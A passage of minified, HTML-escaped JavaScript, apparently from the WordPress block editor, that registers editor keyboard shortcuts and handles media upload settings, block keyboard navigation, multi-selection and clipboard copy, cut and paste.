H=e?O9(U,k.current):U,X={selectionStart:Y,selectionEnd:J,initialPosition:E()},ne=e?T9(X,k.current):X;b.current.outgoing.push(H),(G?P.current:I.current)(H,{selection:ne})}if(K&amp;&amp;!Q&amp;&amp;Y?.clientId&amp;&amp;!S.current&amp;&amp;(e?k.current.internalToExternal.has(Y.clientId):!D(Y.clientId).some(X=&gt;O(X)))){let X={selectionStart:Y,selectionEnd:J,initialPosition:E()};s(e?T9(X,k.current):X)}}),j=ie},_);return()=&gt;{v.current=!1,ee()}},[n,e]),(0,Wr.useEffect)(()=&gt;()=&gt;{B()},[])}var A9=l(R(),1),L9=l(F(),1),N9=l(Is(),1),ho=l(N(),1);function M9(){return null}function ZSe(){let{registerShortcut:e}=(0,L9.useDispatch)(N9.store);return(0,A9.useEffect)(()=&gt;{e({name:&quot;core/block-editor/copy&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Copy the selected block(s).&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;c&quot;}}),e({name:&quot;core/block-editor/cut&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Cut the selected block(s).&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;x&quot;}}),e({name:&quot;core/block-editor/paste&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Paste the selected block(s).&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;v&quot;}}),e({name:&quot;core/block-editor/duplicate&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Duplicate the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;d&quot;}}),e({name:&quot;core/block-editor/remove&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Remove the selected block(s).&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;z&quot;}}),e({name:&quot;core/block-editor/paste-styles&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Paste the copied style to the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;v&quot;}}),e({name:&quot;core/block-editor/insert-before&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Insert a new block before the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;t&quot;}}),e({name:&quot;core/block-editor/insert-after&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Insert a new block after the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;y&quot;}}),e({name:&quot;core/block-editor/delete-multi-selection&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Delete selection.&quot;),keyCombination:{character:&quot;del&quot;},aliases:[{character:&quot;backspace&quot;}]}),e({name:&quot;core/block-editor/stop-editing-as-blocks&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Finish editing a design.&quot;),keyCombination:{character:&quot;escape&quot;}}),e({name:&quot;core/block-editor/select-all&quot;,category:&quot;selection&quot;,description:(0,ho.__)(&quot;Select all text when typing. Press again to select all blocks.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;a&quot;}}),e({name:&quot;core/block-editor/unselect&quot;,category:&quot;selection&quot;,description:(0,ho.__)(&quot;Clear selection.&quot;),keyCombination:{character:&quot;escape&quot;}}),e({name:&quot;core/block-editor/multi-text-selection&quot;,category:&quot;selection&quot;,description:(0,ho.__)(&quot;Select text across multiple blocks.&quot;),keyCombination:{modifier:&quot;shift&quot;,character:&quot;arrow&quot;}}),e({name:&quot;core/block-editor/focus-toolbar&quot;,category:&quot;global&quot;,description:(0,ho.__)(&quot;Navigate to the nearest toolbar.&quot;),keyCombination:{modifier:&quot;alt&quot;,character:&quot;F10&quot;}}),e({name:&quot;core/block-editor/move-up&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Move the selected block(s) up.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;t&quot;}}),e({name:&quot;core/block-editor/move-down&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Move the selected block(s) down.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;y&quot;}}),e({name:&quot;core/block-editor/collapse-list-view&quot;,category:&quot;list-view&quot;,description:(0,ho.__)(&quot;Collapse all other items.&quot;),keyCombination:{modifier:&quot;alt&quot;,character:&quot;l&quot;}}),e({name:&quot;core/block-editor/group&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Create a group block from the selected multiple blocks.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;g&quot;}}),e({name:&quot;core/block-editor/toggle-block-visibility&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Show or hide the selected block(s).&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;h&quot;}}),e({name:&quot;core/block-editor/rename&quot;,category:&quot;block&quot;,description:(0,ho.__)(&quot;Rename the selected block.&quot;),keyCombination:{modifier:&quot;primaryAlt&quot;,character:&quot;r&quot;}})},[e]),null}M9.Register=ZSe;var g1=M9;var D9=l(R(),1);function XSe(e={}){return(0,D9.useMemo)(()=&gt;({mediaUpload:e.mediaUpload,mediaSideload:e.mediaSideload,mediaFinalize:e.mediaFinalize,maxUploadFileSize:e.maxUploadFileSize,allowedMimeTypes:e.allowedMimeTypes,allImageSizes:e.allImageSizes,bigImageSizeThreshold:e.bigImageSizeThreshold}),[e])}var V9=XSe;var Al=l(w(),1),AD=()=&gt;{},F9=!1,Ih=null;function QSe(){if(Ih!==null)return Ih;if(!window.__clientSideMediaProcessing||typeof tm.detectClientSideMediaSupport!=&quot;function&quot;)return Ih=!1,!1;let e=(0,tm.detectClientSideMediaSupport)();return!e||!e.supported?(F9||(console.info(`Client-side media processing unavailable: ${e.reason}. Using server-side processing.`),F9=!0),Ih=!1,!1):(Ih=!0,!0)}function JSe(e,t,{allowedTypes:o,additionalData:r={},filesList:n,onError:i=AD,onFileChange:s,onSuccess:a,onBatchSuccess:c}){e.dispatch(tm.store).addItems({files:Array.from(n),onChange:s,onSuccess:u=&gt;{t?.[C0]?.(u),a?.(u)},onBatchSuccess:c,onError:u=&gt;i(typeof u==&quot;string&quot;?u:u?.message??&quot;&quot;),additionalData:r,allowedTypes:o})}function e_e(e){return h1(e),null}var Ph=C9(e=&gt;{let{settings:t,registry:o,stripExperimentalSettings:r=!1}=e,n=V9(t),i=QSe(),s=!!t?.mediaUpload?.__isMediaUploadInterceptor,a=(0,Du.useMemo)(()=&gt;{if(i&amp;&amp;t?.mediaUpload&amp;&amp;!s){let p=JSe.bind(null,o,t);return p.__isMediaUploadInterceptor=!0,{...t,mediaUpload:p}}return t},[t,o,i,s]),{__experimentalUpdateSettings:c}=M((0,z9.useDispatch)(_));(0,Du.useEffect)(()=&gt;{c({...a,__internalIsInitialized:!0},{stripExperimentalSettings:r,reset:!0})},[a,r,c]);let u=(0,Du.useRef)(e.selection);u.current=e.selection;let d=(0,Du.useRef)(e.onChangeSelection??AD);d.current=e.onChangeSelection??AD;let f=(0,Du.useMemo)(()=&gt;({getSelection:()=&gt;u.current,onChangeSelection:(...p)=&gt;d.current(...p)}),[]),m=(0,Al.jsxs)(j9.SlotFillProvider,{passthrough:!0,children:[!a?.isPreviewMode&amp;&amp;(0,Al.jsx)(g1.Register,{}),(0,Al.jsx)(MH,{children:e.children})]}),h=(0,Al.jsxs)(p1.Provider,{value:f,children:[(0,Al.jsx)(e_e,{clientId:e.clientId,value:e.value,onChange:e.onChange,onInput:e.onInput}),m]});return i&amp;&amp;!s?(0,Al.jsx)(tm.MediaUploadProvider,{settings:n,useSubRegistry:!1,children:h}):h}),t_e=e=&gt;(0,Al.jsx)(Ph,{...e,stripExperimentalSettings:!0,children:e.children}),U9=t_e;var Dy=l(Z(),1),C$=l(F(),1),q1=l(R(),1),B$=l(A(),1);var om=l(R(),1),TG=l(N(),1),Vu=l(Z(),1),IG=l(A(),1),zD=l(F(),1);var SG=l(F(),1),_G=l(N(),1),wy=l(Z(),1),xG=l(R(),1);var H9=l(Z(),1),G9=l(F(),1);function o_e(e){let{isMultiSelecting:t,getMultiSelectedBlockClientIds:o,hasMultiSelection:r,getSelectedBlockClientId:n,getSelectedBlocksInitialCaretPosition:i,__unstableIsFullySelected:s}=e(_);return{isMultiSelecting:t(),multiSelectedBlockClientIds:o(),hasMultiSelection:r(),selectedBlockClientId:n(),initialPosition:i(),isFullSelection:s()}}function W9(){let{initialPosition:e,isMultiSelecting:t,multiSelectedBlockClientIds:o,hasMultiSelection:r,selectedBlockClientId:n,isFullSelection:i}=(0,G9.useSelect)(o_e,[]);return(0,H9.useRefEffect)(s=&gt;{let{ownerDocument:a}=s,{defaultView:c}=a;if(e==null||!r||t)return;let{length:u}=o;u&lt;2||i&amp;&amp;(s.contentEditable=!0,s.focus(),c.getSelection().removeAllRanges())},[r,t,o,n,e,i])}var Rh=l(Fe(),1),LD=l(it(),1),b1=l(F(),1),k1=l(Z(),1),Sy=l(R(),1);var ND=l(w(),1);function $9(){let e=(0,Sy.useRef)(),t=(0,Sy.useRef)(),o=(0,Sy.useRef)(),{hasMultiSelection:r,getSelectedBlockClientId:n,getBlockCount:i,getBlockOrder:s,getLastFocus:a,getSectionRootClientId:c,isZoomOut:u}=M((0,b1.useSelect)(_)),{setLastFocus:d}=M((0,b1.useDispatch)(_)),f=(0,Sy.useRef)();function m(v){let k=e.current.ownerDocument===v.target.ownerDocument?e.current:e.current.ownerDocument.defaultView.frameElement;if(f.current)f.current=null;else if(r())e.current.focus();else if(n())a()?.current?a().current.focus():e.current.querySelector(`[data-block=&quot;${n()}&quot;]`).focus();else if(u()){let y=c(),S=s(y);S.length?e.current.querySelector(`[data-block=&quot;${S[0]}&quot;]`).focus():y?e.current.querySelector(`[data-block=&quot;${y}&quot;]`).focus():k.focus()}else{let y=v.target.compareDocumentPosition(k)&amp;v.target.DOCUMENT_POSITION_FOLLOWING,S=Rh.focus.tabbable.find(e.current);S.length&amp;&amp;(y?S[0]:S[S.length-1]).focus()}}let h=(0,ND.jsx)(&quot;div&quot;,{ref:t,tabIndex:&quot;0&quot;,onFocus:m}),p=(0,ND.jsx)(&quot;div&quot;,{ref:o,tabIndex:&quot;0&quot;,onFocus:m}),g=(0,k1.useRefEffect)(v=&gt;{function k(B){if(B.defaultPrevented||B.keyCode!==LD.TAB||!o.current||!t.current)return;let{target:I,shiftKey:P}=B,E=P?&quot;findPrevious&quot;:&quot;findNext&quot;,L=Rh.focus.tabbable[E](I),T=I.closest(&quot;[data-block]&quot;),O=T&amp;&amp;L&amp;&amp;(L7(T,L)||va(T,L));if((0,Rh.isFormElement)(L)&amp;&amp;O)return;let D=P?t:o;f.current=!0,D.current.focus({preventScroll:!0})}function y(B){d({...a(),current:B.target});let{ownerDocument:I}=v;!B.relatedTarget&amp;&amp;B.target.hasAttribute(&quot;data-block&quot;)&amp;&amp;I.activeElement===I.body&amp;&amp;i()===0&amp;&amp;v.focus()}function S(B){if(B.keyCode!==LD.TAB||B.target?.getAttribute(&quot;role&quot;)===&quot;region&quot;||e.current===B.target)return;let P=B.shiftKey?&quot;findPrevious&quot;:&quot;findNext&quot;,E=Rh.focus.tabbable[P](B.target);(E===t.current||E===o.current)&amp;&amp;(B.preventDefault(),E.focus({preventScroll:!0}))}let{ownerDocument:x}=v,{defaultView:C}=x;return C.addEventListener(&quot;keydown&quot;,S),v.addEventListener(&quot;keydown&quot;,k),v.addEventListener(&quot;focusout&quot;,y),()=&gt;{C.removeEventListener(&quot;keydown&quot;,S),v.removeEventListener(&quot;keydown&quot;,k),v.removeEventListener(&quot;focusout&quot;,y)}},[]),b=(0,k1.useMergeRefs)([e,g]);return[h,b,p]}var go=l(Fe(),1),ya=l(it(),1),v1=l(F(),1),K9=l(Z(),1);function r_e(e,t,o){let r=t===ya.UP||t===ya.DOWN,{tagName:n}=e,i=e.getAttribute(&quot;type&quot;);return r&amp;&amp;!o?n===&quot;INPUT&quot;?![&quot;date&quot;,&quot;datetime-local&quot;,&quot;month&quot;,&quot;number&quot;,&quot;range&quot;,&quot;time&quot;,&quot;week&quot;].includes(i):!0:n===&quot;INPUT&quot;?[&quot;button&quot;,&quot;checkbox&quot;,&quot;number&quot;,&quot;color&quot;,&quot;file&quot;,&quot;image&quot;,&quot;radio&quot;,&quot;reset&quot;,&quot;submit&quot;].includes(i):n!==&quot;TEXTAREA&quot;}function MD(e,t,o,r){let n=go.focus.focusable.find(o);t&amp;&amp;n.reverse(),n=n.slice(n.indexOf(e)+1);let i;r&amp;&amp;(i=e.getBoundingClientRect());function s(a){if(a.contentEditable!==&quot;true&quot;&amp;&amp;Ni(a)&amp;&amp;go.focus.focusable.find(a).filter(c=&gt;!(0,go.isFormElement)(c)).length!==0||!go.focus.tabbable.isTabbableIndex(a)||a.isContentEditable&amp;&amp;a.contentEditable!==&quot;true&quot;)return!1;if(r){let c=a.getBoundingClientRect();if(c.left&gt;=i.right||c.right&lt;=i.left)return!1}return!0}return n.find(s)}function Y9(){let{getMultiSelectedBlocksStartClientId:e,getMultiSelectedBlocksEndClientId:t,getSettings:o,hasMultiSelection:r,__unstableIsFullySelected:n}=(0,v1.useSelect)(_),{selectBlock:i}=(0,v1.useDispatch)(_);return(0,K9.useRefEffect)(s=&gt;{let a;function c(){a=null}function u(f,m){let h=MD(f,m,s);return h&amp;&amp;Ni(h)}function d(f){if(f.defaultPrevented)return;let{keyCode:m,target:h,shiftKey:p,ctrlKey:g,altKey:b,metaKey:v}=f,k=m===ya.UP,y=m===ya.DOWN,S=m===ya.LEFT,x=m===ya.RIGHT,C=k||S,B=S||x,I=k||y,P=B||I,E=p||g||b||v,L=I?go.isVerticalEdge:go.isHorizontalEdge,{ownerDocument:T}=s,{defaultView:O}=T;if(!P||o().isPreviewMode)return;if(r()){if(p||!n())return;f.preventDefault(),C?i(e()):i(t(),-1);return}if(!r_e(h,m,E))return;I?a||(a=(0,go.computeCaretRect)(O)):a=null;let D=(0,go.isRTL)(h)?!C:C,{keepCaretInsideBlock:U}=o();if(p)u(h,C)&amp;&amp;L(h,C)&amp;&amp;(s.contentEditable=!0,s.focus());else if(I&amp;&amp;(0,go.isVerticalEdge)(h,C)&amp;&amp;(!b||(0,go.isHorizontalEdge)(h,D))&amp;&amp;!U){let G=MD(h,C,s,!0);G&amp;&amp;((0,go.placeCaretAtVerticalEdge)(G,b?!C:C,b?void 0:a),f.preventDefault())}else if(B&amp;&amp;O.getSelection().isCollapsed&amp;&amp;(0,go.isHorizontalEdge)(h,D)&amp;&amp;!U){let G=MD(h,D,s);(0,go.placeCaretAtHorizontalEdge)(G,C),f.preventDefault()}}return s.addEventListener(&quot;mousedown&quot;,c),s.addEventListener(&quot;keydown&quot;,d),()=&gt;{s.removeEventListener(&quot;mousedown&quot;,c),s.removeEventListener(&quot;keydown&quot;,d)}},[])}var q9=l(Z(),1),Z9=l(F(),1),Sa=l(it(),1);function X9(){let e=(0,Z9.useSelect)(t=&gt;t(_).getSettings().isPreviewMode,[]);return(0,q9.useRefEffect)(t=&gt;{if(!e)return;function o(r){let{keyCode:n,shiftKey:i,target:s}=r,a=n===Sa.TAB,c=n===Sa.UP,u=n===Sa.DOWN,d=n===Sa.LEFT;if(!a&amp;&amp;!(c||u||d||n===Sa.RIGHT))return;let h=a?i:c||d,p=Array.from(t.querySelectorAll(&quot;[data-block]&quot;));if(!p.length)return;let g=s.closest(&quot;[data-block]&quot;),b=g?p.indexOf(g):-1;if(b===-1||a&amp;&amp;(h&amp;&amp;b===0||!h&amp;&amp;b===p.length-1))return;let v;h?v=b&lt;=0?p.length-1:b-1:v=b===-1||b&gt;=p.length-1?0:b+1,r.preventDefault(),p[v].focus()}return t.addEventListener(&quot;keydown&quot;,o),()=&gt;{t.removeEventListener(&quot;keydown&quot;,o)}},[e])}var Q9=l(Fe(),1),y1=l(F(),1),J9=l(Is(),1),eG=l(Z(),1);function tG(){let{getBlockOrder:e,getSelectedBlockClientIds:t,getBlockRootClientId:o}=(0,y1.useSelect)(_),{multiSelect:r,selectBlock:n}=(0,y1.useDispatch)(_),i=(0,J9.__unstableUseShortcutEventMatch)();return(0,eG.useRefEffect)(s=&gt;{function a(c){if(!i(&quot;core/block-editor/select-all&quot;,c))return;let u=t();if(u.length&lt;2&amp;&amp;!(0,Q9.isEntirelySelected)(c.target))return;c.preventDefault();let{ownerDocument:d}=c.target,[f]=u,m=Ni(d.activeElement);if(m&amp;&amp;m!==f&amp;&amp;!va(d.getElementById(&quot;block-&quot;+f),d.activeElement)){n(m);return}let h=o(f),p=e(h);if(u.length===p.length){h&amp;&amp;(s.ownerDocument.defaultView.getSelection().removeAllRanges(),n(h));return}r(p[0],p[p.length-1])}return s.addEventListener(&quot;keydown&quot;,a),()=&gt;{s.removeEventListener(&quot;keydown&quot;,a)}},[])}var S1=l(F(),1),rG=l(Z(),1);function oG(e,t){e.contentEditable=t,t&amp;&amp;e.focus()}function nG(){let{startMultiSelect:e,stopMultiSelect:t}=(0,S1.useDispatch)(_),{getSettings:o,isSelectionEnabled:r,hasSelectedBlock:n,isDraggingBlocks:i,isMultiSelecting:s}=(0,S1.useSelect)(_);return(0,rG.useRefEffect)(a=&gt;{let{ownerDocument:c}=a,{defaultView:u}=c,d,f;function m(){t(),u.removeEventListener(&quot;mouseup&quot;,m),f=u.requestAnimationFrame(()=&gt;{if(!n())return;oG(a,!1);let b=u.getSelection();if(b.rangeCount){let v=b.getRangeAt(0),{commonAncestorContainer:k}=v,y=v.cloneRange();d.contains(k)&amp;&amp;(d.focus(),b.removeAllRanges(),b.addRange(y))}})}let h;function p({target:b}){h=b}function g({buttons:b,target:v,relatedTarget:k}){v.contains(h)&amp;&amp;(v.contains(k)||i()||b===1&amp;&amp;(s()||a!==v&amp;&amp;(v.getAttribute(&quot;contenteditable&quot;)!==&quot;true&quot;&amp;&amp;!o().isPreviewMode||r()&amp;&amp;(d=v,e(),u.addEventListener(&quot;mouseup&quot;,m),oG(a,!0)))))}return a.addEventListener(&quot;mouseout&quot;,g),a.addEventListener(&quot;mousedown&quot;,p),()=&gt;{a.removeEventListener(&quot;mouseout&quot;,g),u.removeEventListener(&quot;mouseup&quot;,m),u.cancelAnimationFrame(f)}},[e,t,r,n])}var _1=l(F(),1),aG=l(Z(),1),DD=l(dr(),1),lG=l(Fe(),1);function n_e(e){let{anchorNode:t,anchorOffset:o}=e;return t.nodeType===t.TEXT_NODE||o===0?t:t.childNodes[o-1]}function i_e(e){let{focusNode:t,focusOffset:o}=e;return t.nodeType===t.TEXT_NODE||o===t.childNodes.length?t:o===0&amp;&amp;(0,lG.isSelectionForward)(e)?t.previousSibling??t.parentElement:t.childNodes[o]}function s_e(e,t){let o=0;for(;e[o]===t[o];)o++;return o}function iG(e,t){e.contentEditable!==String(t)&amp;&amp;(e.contentEditable=t,t&amp;&amp;e.focus())}function sG(e){return(e.nodeType===e.ELEMENT_NODE?e:e.parentElement)?.closest(&quot;[data-wp-block-attribute-key]&quot;)}function cG(){let{multiSelect:e,selectBlock:t,selectionChange:o}=(0,_1.useDispatch)(_),{getBlockParents:r,getBlockSelectionStart:n,isMultiSelecting:i}=(0,_1.useSelect)(_);return(0,aG.useRefEffect)(s=&gt;{let{ownerDocument:a}=s,{defaultView:c}=a;function u(d){let f=c.getSelection();if(!f.rangeCount)return;let m=n_e(f),h=i_e(f);if(!s.contains(m)||!s.contains(h))return;let p=d.shiftKey&amp;&amp;d.type===&quot;mouseup&quot;;if(f.isCollapsed&amp;&amp;!p){if(s.contentEditable===&quot;true&quot;&amp;&amp;!i()){iG(s,!1);let k=m.nodeType===m.ELEMENT_NODE?m:m.parentElement;k=k?.closest(&quot;[contenteditable]&quot;),k?.focus()}return}let g=Ni(m),b=Ni(h);if(p){let k=n(),y=Ni(d.target),S=y!==b;(g===b&amp;&amp;f.isCollapsed||!b||S)&amp;&amp;(b=y),g!==k&amp;&amp;(g=k)}if(g===void 0&amp;&amp;b===void 0){iG(s,!1);return}if(d.type===&quot;mouseup&quot;&amp;&amp;!d.shiftKey&amp;&amp;!i()&amp;&amp;g===b){let k=Ni(d.target);if(k&amp;&amp;k!==g){f.removeAllRanges();return}}if(g===b)i()?e(g,g):t(g);else{let k=[...r(g),g],y=[...r(b),b],S=s_e(k,y);if(k[S]!==g||y[S]!==b){e(k[S],y[S]);return}let x=sG(m),C=sG(h);if(x&amp;&amp;C){let B=f.getRangeAt(0),I=(0,DD.create)({element:x,range:B,__unstableIsEditableTree:!0}),P=(0,DD.create)({element:C,range:B,__unstableIsEditableTree:!0}),E=I.start??I.end,L=P.start??P.end;o({start:{clientId:g,attributeKey:x.dataset.wpBlockAttributeKey,offset:E},end:{clientId:b,attributeKey:C.dataset.wpBlockAttributeKey,offset:L}})}else e(g,b)}}return a.addEventListener(&quot;selectionchange&quot;,u),c.addEventListener(&quot;mouseup&quot;,u),()=&gt;{a.removeEventListener(&quot;selectionchange&quot;,u),c.removeEventListener(&quot;mouseup&quot;,u)}},[e,t,o,r])}var x1=l(F(),1),uG=l(Z(),1);function dG(){let{selectBlock:e}=(0,x1.useDispatch)(_),{isSelectionEnabled:t,getBlockSelectionStart:o,hasMultiSelection:r}=(0,x1.useSelect)(_);return(0,uG.useRefEffect)(n=&gt;{function i(s){if(!t()||s.button!==0)return;let a=o(),c=Ni(s.target);s.shiftKey?a&amp;&amp;a!==c&amp;&amp;(n.contentEditable=!0,n.focus()):r()&amp;&amp;e(c)}return n.addEventListener(&quot;mousedown&quot;,i),()=&gt;{n.removeEventListener(&quot;mousedown&quot;,i)}},[e,t,o,r])}var w1=l(F(),1),fG=l(Z(),1),Ll=l(it(),1),Ps=l($(),1);function mG(){let{__unstableIsFullySelected:e,getSelectedBlockClientIds:t,getSelectedBlockClientId:o,__unstableIsSelectionMergeable:r,hasMultiSelection:n,getBlockName:i,canInsertBlockType:s,getBlockRootClientId:a,getSelectionStart:c,getSelectionEnd:u,getBlockAttributes:d}=(0,w1.useSelect)(_),{replaceBlocks:f,__unstableSplitSelection:m,removeBlocks:h,__unstableDeleteSelection:p,__unstableExpandSelection:g,__unstableMarkAutomaticChange:b}=(0,w1.useDispatch)(_);return(0,fG.useRefEffect)(v=&gt;{function k(x){v.contentEditable===&quot;true&quot;&amp;&amp;x.preventDefault()}function y(x){if(!x.defaultPrevented){if(!n()){if(x.keyCode===Ll.ENTER){if(x.shiftKey||e())return;let C=o(),B=i(C),I=c(),P=u();if(I.attributeKey===P.attributeKey){let E=d(C)[I.attributeKey],L=(0,Ps.getBlockTransforms)(&quot;from&quot;).filter(({type:O})=&gt;O===&quot;enter&quot;),T=(0,Ps.findTransform)(L,O=&gt;O.regExp.test(E));if(T){f(C,T.transform({content:E})),b();return}}if(!(0,Ps.hasBlockSupport)(B,&quot;splitting&quot;,!1)&amp;&amp;!x.__deprecatedOnSplit)return;(s((0,Ps.getDefaultBlockName)(),a(C))||s(B,a(C)))&amp;&amp;(m(),x.preventDefault())}return}x.keyCode===Ll.ENTER?(v.contentEditable=!1,x.preventDefault(),e()?f(t(),(0,Ps.createBlock)((0,Ps.getDefaultBlockName)())):m()):x.keyCode===Ll.BACKSPACE||x.keyCode===Ll.DELETE?(v.contentEditable=!1,x.preventDefault(),e()?h(t()):r()?p(x.keyCode===Ll.DELETE):g()):x.key.length===1&amp;&amp;!(x.metaKey||x.ctrlKey)&amp;&amp;(v.contentEditable=!1,r()?p(x.keyCode===Ll.DELETE):(x.preventDefault(),v.ownerDocument.defaultView.getSelection().removeAllRanges()))}}function S(x){n()&amp;&amp;(v.contentEditable=!1,r()?p():(x.preventDefault(),v.ownerDocument.defaultView.getSelection().removeAllRanges()))}return v.addEventListener(&quot;beforeinput&quot;,k),v.addEventListener(&quot;keydown&quot;,y),v.addEventListener(&quot;compositionstart&quot;,S),()=&gt;{v.removeEventListener(&quot;beforeinput&quot;,k),v.removeEventListener(&quot;keydown&quot;,y),v.removeEventListener(&quot;compositionstart&quot;,S)}},[])}var _a=l($(),1),B1=l(Fe(),1),Lh=l(F(),1),yG=l(Z(),1);var pG=l(R(),1),hG=l($(),1),_y=l(F(),1),Di=l(N(),1),gG=l(Un(),1);function Oh(){let{getBlockName:e}=(0,_y.useSelect)(_),{getBlockType:t}=(0,_y.useSelect)(hG.store),{createSuccessNotice:o}=(0,_y.useDispatch)(gG.store);return(0,pG.useCallback)((r,n)=&gt;{let i=&quot;&quot;;if(r===&quot;copyStyles&quot;)i=(0,Di.__)(&quot;Styles copied to clipboard.&quot;);else if(n.length===1){let s=n[0],a=t(e(s))?.title;r===&quot;copy&quot;?i=(0,Di.sprintf)((0,Di.__)(&#039;Copied &quot;%s&quot; to clipboard.&#039;),a):i=(0,Di.sprintf)((0,Di.__)(&#039;Moved &quot;%s&quot; to clipboard.&#039;),a)}else r===&quot;copy&quot;?i=(0,Di.sprintf)((0,Di._n)(&quot;Copied %d block to clipboard.&quot;,&quot;Copied %d blocks to clipboard.&quot;,n.length),n.length):i=(0,Di.sprintf)((0,Di._n)(&quot;Moved %d block to clipboard.&quot;,&quot;Moved %d blocks to clipboard.&quot;,n.length),n.length);o(i,{type:&quot;snackbar&quot;})},[o,e,t])}var kG=l(Fe(),1),Vi=l($(),1);var bG=l(Fe(),1);function a_e(e){let t=&quot;&lt;!--StartFragment--&gt;&quot;,o=e.indexOf(t);if(o&gt;-1)e=e.substring(o+t.length);else return e;let n=e.indexOf(&quot;&lt;!--EndFragment--&gt;&quot;);return n&gt;-1&amp;&amp;(e=e.substring(0,n)),e}function l_e(e){let t=&quot;&lt;meta charset=&#039;utf-8&#039;&gt;&quot;;return e.startsWith(t)?e.slice(t.length):e}function Ah({clipboardData:e}){let t=&quot;&quot;,o=&quot;&quot;;try{t=e.getData(&quot;text/plain&quot;),o=e.getData(&quot;text/html&quot;)}catch{return}o=a_e(o),o=l_e(o);let r=(0,bG.getFilesFromDataTransfer)(e);return r.length&amp;&amp;!c_e(r,o)?{files:r}:{html:o,plainText:t,files:[]}}function c_e(e,t){if(t&amp;&amp;e?.length===1&amp;&amp;e[0].type.indexOf(&quot;image/&quot;)===0){let o=/&lt;\s*img\b/gi;if(t.match(o)?.length!==1)return!0;let r=/&lt;\s*img\b[^&gt;]*\bsrc=&quot;file:\/\//i;if(t.match(r))return!0}return!1}var VD=Symbol(&quot;requiresWrapperOnCopy&quot;);function C1(e,t,o){let r=t,[n]=t;if(n&amp;&amp;o.select(Vi.store).getBlockType(n.name)[VD]){let{getBlockRootClientId:a,getBlockName:c,getBlockAttributes:u}=o.select(_),d=a(n.clientId),f=c(d);f&amp;&amp;(r=(0,Vi.createBlock)(f,u(d),r))}let i=(0,Vi.serialize)(r);e.clipboardData.setData(&quot;text/plain&quot;,u_e(i)),e.clipboardData.setData(&quot;text/html&quot;,i)}function vG(e,t){let{plainText:o,html:r,files:n}=Ah(e),i=[];if(n.length){let s=(0,Vi.getBlockTransforms)(&quot;from&quot;);i=n.reduce((a,c)=&gt;{let u=(0,Vi.findTransform)(s,d=&gt;d.type===&quot;files&quot;&amp;&amp;d.isMatch([c]));return u&amp;&amp;a.push(u.transform([c])),a},[]).flat()}else i=(0,Vi.pasteHandler)({HTML:r,plainText:o,mode:&quot;BLOCKS&quot;,canUserUseUnfilteredHTML:t});return i}function u_e(e){return e=e.replace(/&lt;br&gt;/g,`
`),(0,kG.__unstableStripHTML)(e).trim().replace(/\n\n+/g,`

`)}function xy(){let e=(0,Lh.useRegistry)(),{getBlocksByClientId:t,getSelectedBlockClientIds:o,hasMultiSelection:r,getSettings:n,getBlockName:i,__unstableIsFullySelected:s,__unstableIsSelectionCollapsed:a,__unstableIsSelectionMergeable:c,__unstableGetSelectedBlocksWithPartialSelection:u,canInsertBlockType:d,getBlockRootClientId:f}=(0,Lh.useSelect)(_),{flashBlock:m,removeBlocks:h,replaceBlocks:p,__unstableDeleteSelection:g,__unstableExpandSelection:b,__unstableSplitSelection:v}=(0,Lh.useDispatch)(_),k=Oh();return(0,yG.useRefEffect)(y=&gt;{function S(x){if(x.defaultPrevented)return;let C=o();if(C.length===0)return;if(!r()){let{target:L}=x,{ownerDocument:T}=L;if(x.type===&quot;copy&quot;||x.type===&quot;cut&quot;?(0,B1.documentHasUncollapsedSelection)(T):(0,B1.documentHasSelection)(T)&amp;&amp;!T.activeElement.isContentEditable)return}let{activeElement:B}=x.target.ownerDocument;if(!y.contains(B))return;let I=c(),P=a()||s(),E=!P&amp;&amp;!I;if(x.type===&quot;copy&quot;||x.type===&quot;cut&quot;)if(x.preventDefault(),C.length===1&amp;&amp;m(C[0]),E)b();else{k(x.type,C);let L;if(P)L=t(C);else{let[T,O]=u(),D=t(C.slice(1,C.length-1));L=[T,...D,O]}C1(x,L,e)}if(x.type===&quot;cut&quot;)P&amp;&amp;!E?h(C):(x.target.ownerDocument.activeElement.contentEditable=!1,g());else if(x.type===&quot;paste&quot;){let{__experimentalCanUserUseUnfilteredHTML:L,mediaUpload:T}=n();if(x.clipboardData.getData(&quot;rich-text&quot;)===&quot;true&quot;)return;let{plainText:D,html:U,files:G}=Ah(x),j=s(),z=[];if(G.length){if(!T){x.preventDefault();return}let ce=(0,_a.getBlockTransforms)(&quot;from&quot;);z=G.reduce((ie,re)=&gt;{let Q=(0,_a.findTransform)(ce,Y=&gt;Y.type===&quot;files&quot;&amp;&amp;Y.isMatch([re]));return Q&amp;&amp;ie.push(Q.transform([re])),ie},[]).flat()}else z=(0,_a.pasteHandler)({HTML:U,plainText:D,mode:j?&quot;BLOCKS&quot;:&quot;AUTO&quot;,canUserUseUnfilteredHTML:L});if(typeof 